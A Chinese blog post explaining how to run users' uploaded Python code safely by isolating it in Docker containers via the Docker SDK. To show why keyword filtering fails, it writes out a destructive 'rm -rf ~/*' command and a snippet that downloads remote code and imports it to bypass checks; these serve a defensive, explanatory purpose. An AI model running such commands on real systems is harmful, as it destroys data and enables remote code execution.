如何安全运行别人上传的 Python 代码?

这是「进击的Coder」的第 901 篇技术分享

作者:kingname

来源:未闻 Code

阅读本文大概需要 5 分钟。

写后端的同学,有时候需要在网站上实现一个功能,让用户上传或者编写自己的 Python 代码。后端再运行这些代码。

涉及到用户自己上传代码,我们第一个想到的问题,就是如何避免用户编写危险命令。如果用户的代码里面涉及到下面两行,在不做任何安全过滤的情况下,就会导致服务器的 Home 文件夹被清空。

import os
os.system('rm -rf ~/*')

有人想的比较简单,直接判断用户的代码里面有没有os.systemexecsubprocess……这些危险关键词不就可以了吗?

这种想法乍看起来没有问题,但细想下,就会发现非常天真。如果用户的代码像下面这样写,你又要如何应对?

import requests

code = requests.get('https://www.kingname.info/dangerous_code').text

with open('dangerous_code.py', 'w') as f:
    f.write(code)

dangerous_module = __import__('dangerous_code')
danderous_module.delete_all()

其中https://www.kingname.info/dangerous_code对应的代码如下:

import os
def delete_all():
    os.system('rm -rf ~/*')

这样就可以绕过关键字检查,并成功删除你的文件了。

如果你的网站本身就是一个爬虫管理平台,你检查用户自定义的代码时,肯定不能过滤掉requests这种网络请求库。那么你就很难判断用户下载下来的东西是否包含恶意代码。

而且恶意代码不一定是删除你的东西,它完全可以直接把你项目下面的所有代码打包,上传到它指定的 URL 中,这样就能窃取你网站里面所有代码。

为了避免这样的情况发生,我们就必须找一个干净又独立的环境来运行用户的代码。干净的环境能确保恶意代码没有东西可以偷,独立的环境能确保他即使删除了所有文件,也不会影响到你。

显然,最简单直接的办法,就是使用 Docker 来运行用户的代码。而使用 Docker 并不一定需要在终端使用 Shell 命令。我们可以使用 Docker 的 Python SDK 来实现构建镜像和运行镜像。

首先,确保你的服务器上面已经有 Docker,并且正在运行。接下来,安装 Docker SDK:

pip install docker

假设,你把用户上传的文件放在了user/<user_id>/upload文件夹下面,那么,首先你需要生成一个 Dockerfile,并把这个 Dockerfile 放到 upload 文件夹中:

from python:3.10

run pip install -r requirements.txt
copy . /app
workdir /app

当用户添加 / 修改了第三方库时,你只需要更新 requirements.txt 即可让镜像里面的依赖符合用户的需求。

接下来,我们开始构建镜像并运行代码:

import docker
client = docker.from_env()

client.images.build(path='user/<user_id>/upload', tag='xxxspider:0.01') # tag后面的名字可以自定义

container = client.containers.run('xxxspider:0.01', detach=True, command='scrapy crawl xxx', 其他参数)

这个代码运行以后是非阻塞的,会立刻返回 container 对象。当你想查看代码日志时,执行:

container.logs(tail=10) # 显示最后10行日志

就可以看到相关的日志了。

关于 Docker SDK 的更多操作,可以看他的官方文档:Docker SDK for Python — Docker SDK for Python 6.1.3 documentation[1]

参考资料

[1]

Docker SDK for Python — Docker SDK for Python 6.1.3 documentation: https://docker-py.readthedocs.io/en/stable/index.html#docker-sdk-for-python

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值